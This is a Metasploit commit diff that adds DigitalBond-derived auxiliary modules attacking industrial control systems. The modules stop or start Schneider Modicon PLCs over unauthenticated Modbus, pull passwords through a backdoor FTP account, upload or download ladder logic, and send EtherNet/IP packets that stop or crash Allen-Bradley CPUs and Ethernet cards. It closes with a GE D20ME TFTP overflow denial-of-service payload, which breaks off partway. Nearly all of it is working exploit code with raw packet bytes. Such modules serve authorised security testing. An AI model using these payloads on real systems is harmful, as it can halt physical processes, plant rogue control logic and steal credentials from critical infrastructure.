Adding DigitalBond SCADA modules

unstable
Tod Beardsley 2012-04-05 12:35:21 -05:00
parent 2c992c976d
commit 14d9953634
7 changed files with 1185 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,181 @@
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Rex::Socket::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Schneider Modicon remote START/STOP command',
'Description' => %q{
The Schneider Modicon with Unity series of PLCs use Modbus function
code 90 (0x5a) to perform administrative commands without authentication.
This module allows a remote user to change the state of the PLC between
STOP and RUN, allowing an attacker to end process control by the PLC.
This module is based on the original 'modiconstop.rb' Basecamp module from
DigitalBond.
},
'Author' =>
[
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
'todb' # Metasploit fixups
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
],
'Version' => '$Revision$',
'DisclosureDate' => 'Apr 5 2012',
))
register_options(
[
OptEnum.new("MODE", [true, 'PLC command', "STOP",
[
"STOP",
"RUN"
]
]),
Opt::RPORT(502)
], self.class)
end
# this is used for building a Modbus frame
# just prepends the payload with a modbus header
def makeframe(packetdata)
if packetdata.size > 255
print_error("packet too large, sorry")
print_error("Offending packet: " + packetdata)
return
end
payload = ""
payload += [@modbuscounter].pack("n")
payload += "\x00\x00\x00" #dunno what these are
payload += [packetdata.size].pack("c") # size byte
payload += packetdata
end
# a wrapper just to be sure we increment the counter
def sendframe(payload)
sock.put(payload)
@modbuscounter += 1
r = sock.recv(65535, 0.1) # XXX: All I care is that we wait for a packet to come in, but I'd like to minimize the wait time and also minimize OS buffer use. What to do?
return r
end
# This function sends some initialization requests
# I have no idea what these do, but they seem to be
# needed to get the Modicon chatty with us.
# I would make some analogy to 'gaming' in the
# bar-dating scene, but I'll refrain.
def init
payload = "\x00\x5a\x00\x02"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x01\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x03\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x03\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x01\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x0a\x00"
(0..0xf9).each { |x| payload += [x].pack("c") }
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
payload += "USER-714E74F21B" # Yep, really
#payload += "META-SPLOITMETA"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x12"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x12"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x02"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
sendframe(makeframe(payload))
end
def stop
payload = "\x00\x5a\x01\x41\xff\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
end
def start
payload = "\x00\x5a\x01\x40\xff\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
end
def cleanup
end
def run
@modbuscounter = 0x0000 # used for modbus frames
connect
init
case datastore['MODE']
when "STOP"
stop
when "RUN"
start
else
print_error("Invalid MODE")
return
end
end
end

View File

@ -0,0 +1,224 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'net/ftp' # TODO: Update this with a proper FTP server implementation
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Schneider Modicon Quantum Password Recovery',
'Description' => %q{
The Schneider Modicon Quantum series of Ethernet cards store usernames and
passwords for the system in files that may be retrieved via backdoor access.
This module is based on the original 'modiconpass.rb' Basecamp module from
DigitalBond.
},
'Author' =>
[
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
'todb' # Metasploit fixups
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
],
'Version' => '$Revision$',
'DisclosureDate'=> 'Jan 19 2012',
))
register_options(
[
Opt::RPORT(21),
OptString.new('FTPUSER', [true, "The backdoor account to use for login", 'ftpuser']),
OptString.new('FTPPASS', [true, "The backdoor password to use for login", 'password']),
], self.class)
register_advanced_options(
[
OptBool.new('RUN_CHECK', [false, "Check if the device is really a Modicon device", true])
], self.class)
end
# FIXME: This is required since there's no Rex Socket yet (will be
# part of a full FTP client implementation)
def ip
Rex::Socket.resolv_to_dotted(datastore['RHOST'])
end
def check_banner
banner == "220 FTP server ready.\r\n"
end
# TODO: If the username and password is correct, but this /isn't/ a Modicon
# device, then we're going to end up storing HTTP credentials that are not
# correct. If there's a way to fingerprint the device, it should be done here.
def check
return true unless datastore['RUN_CHECK']
is_modicon = false
vprint_status "#{ip}:#{rport} - FTP - Checking fingerprint"
connect rescue nil
if sock
# It's a weak fingerprint, but it's something
is_modicon = check_banner()
disconnect
else
print_error "#{ip}:#{rport} - FTP - Cannot connect, skipping"
return false
end
if is_modicon
print_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint"
else
print_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch"
end
return is_modicon
end
def run
if check()
if setup_ftp_connection()
grab()
end
end
end
def setup_ftp_connection
vprint_status "#{ip}:#{rport} - FTP - Connecting"
if connect_login()
print_status("#{ip}:#{rport} - FTP - Login succeeded")
report_auth_info(
:host => ip,
:port => rport,
:proto => 'tcp',
:user => user,
:pass => pass,
:ptype => 'password_ro',
:active => true
)
return true
else
print_status("#{ip}:#{rport} - FTP - Login failed")
return false
end
end
def cleanup
disconnect rescue nil
data_disconnect rescue nil
end
# Echo the Net::FTP implementation
def ftp_gettextfile(fname)
vprint_status("#{ip}:#{rport} - FTP - Opening PASV data socket to download #{fname.inspect}")
data_connect("A")
res = send_cmd_data(["GET", fname.to_s], nil, "A")
end
def grab
logins = Rex::Ui::Text::Table.new(
'Header' => "Schneider Modicon Quantum services, usernames, and passwords",
'Indent' => 1,
'Columns' => ["Service", "User Name", "Password"]
)
httpcreds = ftp_gettextfile('/FLASH0/userlist.dat')
if httpcreds
print_status "#{ip}:#{rport} - FTP - HTTP password retrieval: success"
else
print_status "#{ip}:#{rport} - FTP - HTTP default password presumed"
end
ftpcreds = ftp_gettextfile('/FLASH0/ftp/ftp.ini')
if ftpcreds
print_status "#{ip}:#{rport} - FTP - password retrieval: success"
else
print_error "#{ip}:#{rport} - FTP - password retrieval error"
end
writecreds = ftp_gettextfile('/FLASH0/rdt/password.rde')
if writecreds
print_status "#{ip}:#{rport} - FTP - Write password retrieval: success"
else
print_error "#{ip}:#{rport} - FTP - Write password error"
end
if httpcreds
httpuser = httpcreds[1].split(/[\r\n]+/)[0]
httppass = httpcreds[1].split(/[\r\n]+/)[1]
else
# Usual defaults
httpuser = "USER"
httppass = "USER"
end
print_status("#{rhost}:#{rport} - FTP - Storing HTTP credentials")
logins << ["http", httpuser, httppass]
report_auth_info(
:host => ip,
:port => 80,
:sname => "http",
:user => httpuser,
:pass => httppass,
:active => true
)
logins << ["scada-write", "", writecreds[1]]
if writecreds # This is like an enable password, used after HTTP authentication.
report_note(
:host => ip,
:port => 80,
:proto => 'tcp',
:sname => 'http',
:ntype => 'scada.modicon.write-password',
:data => writecreds[1]
)
end
if ftpcreds
# TODO:
# Can we add a nicer dictionary? Revershing the hash
# using Metasploit's existing loginDefaultencrypt dictionary yields
# plaintexts that contain non-ascii characters for some hashes.
# check out entries starting at 10001 in /msf3/data/wordlists/vxworks_collide_20.txt
# for examples. A complete ascii rainbow table for loginDefaultEncrypt is ~2.6mb,
# and it can be done in just a few lines of ruby.
# See https://github.com/cvonkleist/vxworks_hash
modicon_ftpuser = ftpcreds[1].split(/[\r\n]+/)[0]
modicon_ftppass = ftpcreds[1].split(/[\r\n]+/)[1]
else
modicon_ftpuser = "USER"
modicon_ftppass = "USERUSER" #from the manual. Verified.
end
print_status("#{rhost}:#{rport} - FTP - Storing hashed FTP credentials")
# The collected hash is not directly reusable, so it shouldn't be an
# auth credential in the Cred sense. TheLightCosine should fix some day.
# Can be used for telnet as well if telnet is enabled.
report_note(
:host => ip,
:port => 21,
:proto => 'tcp',
:sname => 'ftp',
:ntype => 'scada.modicon.ftp-password',
:data => "User:#{modicon_ftpuser} VXWorks_Password:#{modicon_ftppass}"
)
logins << ["VxWorks", modicon_ftpuser, modicon_ftppass]
# Not this:
# report_auth_info(
# :host => ip,
# :port => rport,
# :proto => 'tcp',
# :sname => 'ftp',
# :user => modicon_ftpuser,
# :pass => modicon_ftppass,
# :type => 'password_vx', # It's a hash, not directly usable, but crackable
# :active => true
# )
print_line logins.to_s
end
end

View File

@ -0,0 +1,307 @@
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Rex::Socket::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Schneider Modicon Ladder Logic Upload/Download',
'Description' => %q{
The Schneider Modicon with Unity series of PLCs use Modbus function
code 90 (0x5a) to send and receive ladder logic. The protocol is
unauthenticated, and allows a rogue host to retrieve the existing
logic and to upload new logic.
Two modes are supported: "SEND" and "RECV," which behave as one might
expect -- use 'set mode ACTIONAME' to use either mode of operation.
In either mode, FILENAME must be set to a valid path to an existing
file (for SENDing) or a new file (for RECVing), and the directory must
already exist. The default, 'modicon_ladder.apx' is a blank
ladder logic file which can be used for testing.
This module is based on the original 'modiconstux.rb' Basecamp module from
DigitalBond.
},
'Author' =>
[
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
'todb' # Metasploit fixups
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
],
'Version' => '$Revision$',
'DisclosureDate' => 'Apr 5 2012',
))
register_options(
[
OptString.new('FILENAME',
[
true,
"The file to send or receive",
File.join(Msf::Config.data_directory, "exploits", "modicon_ladder.apx")
]),
OptEnum.new("MODE", [true, 'File transfer operation', "SEND",
[
"SEND",
"RECV"
]
]),
Opt::RPORT(502)
], self.class)
end
def run
unless valid_filename?
print_error "FILENAME invalid: #{datastore['FILENAME'].inspect}"
return nil
end
@modbuscounter = 0x0000 # used for modbus frames
connect
init
case datastore['MODE']
when "SEND"
writefile
when "RECV"
readfile
end
end
def valid_filename?
if datastore['MODE'] == "SEND"
File.readable? datastore['FILENAME']
else
File.writable?(File.split(datastore['FILENAME'])[0].to_s)
end
end
# this is used for building a Modbus frame
# just prepends the payload with a modbus header
def makeframe(packetdata)
if packetdata.size > 255
print_error("#{rhost}:#{rport} - MODBUS - Packet too large: #{packetdata.inspect}")
return
end
payload = ""
payload += [@modbuscounter].pack("n")
payload += "\x00\x00\x00" #dunno what these are
payload += [packetdata.size].pack("c") # size byte
payload += packetdata
end
# a wrapper just to be sure we increment the counter
def sendframe(payload)
sock.put(payload)
@modbuscounter += 1
# TODO: Fix with sock.timed_read -- Should make it faster, just need a test.
r = sock.recv(65535, 0.1)
return r
end
# This function sends some initialization requests
# required for priming the Quantum
def init
payload = "\x00\x5a\x00\x02"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x01\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x03\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x03\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x01\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x0a\x00"
(0..0xf9).each { |x| payload += [x].pack("c") }
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
payload += "USER-714E74F21B" # Yep, really
#payload += "META-SPLOITMETA"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x12"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x12"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x02"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
sendframe(makeframe(payload))
end
# Write the contents of local file filename to the target's filenumber
# blank logic files will be available on the Digital Bond website
def writefile
print_status "#{rhost}:#{rport} - MODBUS - Sending write request"
blocksize = 244 # bytes per block in file transfer
buf = File.open(datastore['FILENAME'], 'rb') { |io| io.read }
fullblocks = buf.length / blocksize
if fullblocks > 255
print_error("#{rhost}:#{rport} - MODBUS - File too large, aborting.")
return
end
lastblocksize = buf.length - (blocksize*fullblocks)
fileblocks = fullblocks
if lastblocksize != 0
fileblocks += 1
end
filetype = buf[0..2]
if filetype == "APX"
filenum = "\x01"
elsif filetype == "APB"
filenum = "\x10"
end
payload = "\x00\x5a\x00\x03\x01"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x02"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x02"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x02\x01\x00\x00\x00\x00\x00\xfb\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x02"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x30\x00"
payload += filenum
response = sendframe(makeframe(payload))
if response[8..9] == "\x01\xfe"
print_status("#{rhost}:#{rport} - MODBUS - Write request success! Writing file...")
else
print_error("#{rhost}:#{rport} - MODBUS - Write request error. Aborting.")
return
end
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
block = 1
block2status = 0 # block 2 must always be sent twice
while block <= fullblocks
payload = "\x00\x5a\x01\x31\x00"
payload += filenum
payload += [block].pack("c")
payload += "\x00\xf4\x00"
payload += buf[((block - 1) * 244)..((block * 244) - 1)]
res = sendframe(makeframe(payload))
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
if res[8..9] != "\x01\xfe"
print_error("#{rhost}:#{rport} - MODBUS - Failure writing block #{block}")
return
end
# redo this iteration of the loop if we're on block 2
if block2status == 0 and block == 2
print_status("#{rhost}:#{rport} - MODBUS - Sending block 2 a second time")
block2status = 1
redo
end
block += 1
end
if lastblocksize > 0
payload = "\x00\x5a\x01\x31\x00"
payload += filenum
payload += [block].pack("c")
payload += "\x00" + [lastblocksize].pack("c") + "\x00"
payload += buf[((block-1) * 244)..(((block-1) * 244) + lastblocksize)]
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
res = sendframe(makeframe(payload))
if res[8..9] != "\x01\xfe"
print_error("#{rhost}:#{rport} - MODBUS - Failure writing last block")
return
end
end
vprint_status "#{rhost}:#{rport} - MODBUS - Closing file"
payload = "\x00\x5a\x01\x32\x00\x01" + [fileblocks].pack("c") + "\x00"
sendframe(makeframe(payload))
end
# Only reading the STL file is supported at the moment :(
def readfile
print_status "#{rhost}:#{rport} - MODBUS - Sending read request"
file = File.open(datastore['FILENAME'], 'wb')
payload = "\x00\x5a\x01\x33\x00\x01\xfb\x00"
response = sendframe(makeframe(payload))
print_status("#{rhost}:#{rport} - MODBUS - Retrieving file")
block = 1
filedata = ""
finished = false
while !finished
payload = "\x00\x5a\x01\x34\x00\x01"
payload += [block].pack("c")
payload += "\x00"
response = sendframe(makeframe(payload))
filedata += response[0xe..-1]
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{response[0xe..-1].inspect}"
if response[0xa] == "\x01" # apparently 0x00 == more data, 0x01 == eof?
finished = true
else
block += 1
end
end
print_status("#{rhost}:#{rport} - MODBUS - Closing file")
payload = "\x00\x5a\x01\x35\x00\x01" + [block].pack("c") + "\x00"
sendframe(makeframe(payload))
file.print filedata
file.close
end
def cleanup
disconnect rescue nil
end
end

View File

@ -0,0 +1,145 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Rex::Socket::Tcp
def initialize(info={})
super(update_info(info,
'Name' => 'Allen-Bradley/Rockwell Automation EtherNet/IP CIP Commands',
'Description' => %q{
The EtnerNet/IP CIP protocol allows a number of unauthenticated commands to a PLC which
implements the protocol. This module implements the CPU STOP command, as well as
the ability to crash the Ethernet card in an affected device.
This module is based on the original 'ethernetip-multi.rb' Basecamp module
from DigitalBond.
},
'Author' =>
[
'Ruben Santamarta <ruben[at]reversemode.com>',
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
'todb' # Metasploit fixups
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
],
'Version' => '$Revision$',
'DisclosureDate' => 'Jan 19 2012'))
register_options(
[
Opt::RPORT(44818),
# Note that OptEnum is case sensitive
OptEnum.new("ATTACK", [true, "The attack to use.", "STOPCPU",
[
"STOPCPU",
"CRASHCPU",
"CRASHETHER",
"RESETETHER"
]
])
], self.class
)
end
def run
attack = datastore["ATTACK"]
print_status "#{rhost}:#{rport} - CIP - Running #{attack} attack."
sid = req_session
if sid
forge_packet(sid, payload(attack))
print_status "#{rhost}:#{rport} - CIP - #{attack} attack complete."
end
end
def forge_packet(sessionid, payload)
packet = ""
packet += "\x6f\x00" # command: Send request/reply data
packet += [payload.size - 0x10].pack("v") # encap length (2 bytes)
packet += [sessionid].pack("N") # session identifier (4 bytes)
packet += payload #payload part
begin
sock.put(packet)
rescue ::Interrupt
print_error("#{rhost}:#{rport} - CIP - Interrupt during payload")
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
print_error("#{rhost}:#{rport} - CIP - Network error during payload")
return nil
end
end
def req_session
begin
connect
packet = ""
packet += "\x65\x00" # ENCAP_CMD_REGISTERSESSION (2 bytes)
packet += "\x04\x00" # encaph_length (2 bytes)
packet += "\x00\x00\x00\x00" # session identifier (4 bytes)
packet += "\x00\x00\x00\x00" # status code (4 bytes)
packet += "\x00\x00\x00\x00\x00\x00\x00\x00" # context information (8 bytes)
packet += "\x00\x00\x00\x00" # options flags (4 bytes)
packet += "\x01\x00" # proto (2 bytes)
packet += "\x00\x00" # flags (2 bytes)
sock.put(packet)
response = sock.get_once
if response
session_id = response[4..8].unpack("N")[0] rescue nil# bare minimum of parsing done
if session_id
print_status("#{rhost}:#{rport} - CIP - Got session id: 0x"+session_id.to_s(16))
else
print_error("#{rhost}:#{rport} - CIP - Got invalid session id, aborting.")
return nil
end
else
raise ::Rex::ConnectionTimeout
end
rescue ::Interrupt
print_error("#{rhost}:#{rport} - CIP - Interrupt during session negotation")
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused => e
print_error("#{rhost}:#{rport} - CIP - Network error during session negotiation: #{e}")
return nil
end
return session_id
end
def cleanup
disconnect rescue nil
end
def payload(attack)
case attack
when "STOPCPU"
payload = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + #encapsulation -[payload.size-0x10]-
"\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" + #packet1
"\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x07\x02\x20\x64\x24\x01" + #packet2
"\xDE\xAD\xBE\xEF\xCA\xFE\x01\x00\x01\x00" #packet3
when "CRASHCPU"
payload = "\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" +
"\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x0a\x02\x20\x02\x24\x01" +
"\xf4\xf0\x09\x09\x88\x04\x01\x00\x01\x00"
when "CRASHETHER"
payload = "\x00\x00\x00\x00\x20\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x0c\x00" +
"\x0e\x03\x20\xf5\x24\x01\x10\x43\x24\x01\x10\x43"
when "RESETETHER"
payload = "\x00\x00\x00\x00\x00\x04\x02\x00\x00\x00\x00\x00\xb2\x00\x08\x00" +
"\x05\x03\x20\x01\x24\x01\x30\x03"
else
print_error("#{rhost}:#{rport} - CIP - Invalid attack option.")
return nil
end
end
end

View File

@ -0,0 +1,140 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
##
# The General Electric D20 (and possibly other devices) have numerous
# buffer overruns in their TFTP servers and probably other servers.
# There are many buffer overruns like it, but this one is the D20's
# TFTP Server transfer-mode overflow.
# The filename also suffers from an overrun but seems unlikely to be
# exploitable.
##
require 'msf/core'
require 'rex/ui/text/shell'
require 'rex/proto/tftp'
class Metasploit3 < Msf::Auxiliary
include Rex::Ui::Text
include Rex::Proto::TFTP
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'General Electric D20ME TFTP Server Buffer Overflow DoS',
'Description' => %q{
By sending a malformed TFTP request to the GE D20ME, it is possible to crash the
device.
This module is based on the original 'd20ftpbo.rb' Basecamp module from
DigitalBond.
},
'Author' =>
[
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
'todb' # Metasploit fixups
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
],
'Version' => '$Revision$',
'DisclosureDate' => 'Jan 19 2012',
))
register_options(
[
OptAddress.new('LHOST', [false, "The local IP address to bind to"]),
OptInt.new('RECV_TIMEOUT', [false, "Time (in seconds) to wait between packets", 3]),
Opt::RPORT(69)
], self.class)
end
def run
udp_sock = Rex::Socket::Udp.create(
'LocalHost' => datastore['LHOST'] || nil,
'PeerHost' => rhost,
'PeerPort' => rport,
'Context' => {'Msf' => framework, 'MsfExploit' => self}
) # No need to rescue, it's a UDP faux-socket
udp_sock.sendto(payload, rhost, rport)
recv = udp_sock.timed_read(65535, recv_timeout)
if recv and recv.size > 0
udp_sock.sendto(payload, rhost, rport)
else
print_error "#{rhost}:#{rport} - TFTP - No response from the target, aborting."
return
end
print_good "#{rhost}:#{rport} - TFTP - DoS complete, the D20 should fault after a timeout."
end
def recv_timeout
if datastore['RECV_TIMEOUT'].to_i.zero?
3
else
datastore['RECV_TIMEOUT'].to_i.abs
end
end
def payload
"\x00\x01NVRAM\\D20.zlb\x00netascii" +
"\x80\x80\x80\x80\x80\x80\x80\x81\x80\x80\x80\x82\x80\x80\x80\x83" +
"\x80\x80\x80\x84\x80\x80\x80\x85\x80\x80\x80\x86\x80\x80\x80\x87\x80\x80\x80\x88" +
"\x80\x80\x80\x89\x80\x80\x80\x8A\x80\x80\x80\x8B\x80\x80\x80\x8C\x80\x80\x80\x8D" +
"\x80\x80\x80\x8E\x80\x80\x80\x8F\x80\x80\x80\x90\x80\x80\x80\x91\x80\x80\x80\x92" +
"\x80\x80\x80\x93\x80\x80\x80\x94\x80\x80\x80\x95\x80\x80\x80\x96\x80\x80\x80\x97" +
"\x80\x80\x80\x98\x80\x80\x80\x99\x80\x80\x80\x9A\x80\x80\x80\x9B\x80\x80\x80\x9C" +
"\x80\x80\x80\x9D\x80\x80\x80\x9E\x80\x80\x80\x9F\x80\x80\x80\xA0\x80\x80\x80\xA1" +
"\x80\x80\x80\xA2\x80\x80\x80\xA3\x80\x80\x80\xA4\x80\x80\x80\xA5\x80\x80\x80\xA6" +
"\x80\x80\x80\xA7\x80\x80\x80\xA8\x80\x80\x80\x00\x80\x80\x80\xAA\x80\x80\x80\xAB" +
"\x80\x80\x80\xAC\x80\x80\x80\xAD\x80\x80\x80\xAE\x80\x80\x80\xAF\x80\x80\x80\xB0" +
"\x80\x80\x80\xB1\x80\x80\x80\xB2\x80\x80\x80\xB3\x80\x80\x80\xB4\x80\x80\x80\xB5" +
"\x80\x80\x80\xB6\x80\x80\x80\xB7\x80\x80\x80\xB8\x80\x80\x80\xB9\x80\x80\x80\xBA" +
"\x80\x80\x80\xBB\x80\x80\x80\xBC\x80\x80\x80\xBD\x80\x80\x80\xBE\x80\x80\x80\xBF" +
"\x80\x80\x80\xC0\x80\x80\x80\xC1\x80\x80\x80\xC2\x80\x80\x80\xC3\x80\x80\x80\xC4" +
"\x80\x80\x80\xC5\x80\x80\x80\xC6\x80\x80\x80\xC7\x80\x80\x80\xC8\x80\x80\x80\xC9" +
"\x80\x80\x80\xCA\x80\x80\x80\xCB\x80\x80\x80\xCC\x80\x80\x80\xCD\x80\x80\x80\xCE" +
"\x80\x80\x80\xCF\x80\x80\x80\xD0\x80\x80\x80\xD1\x80\x80\x80\xD2\x80\x80\x80\xD3" +
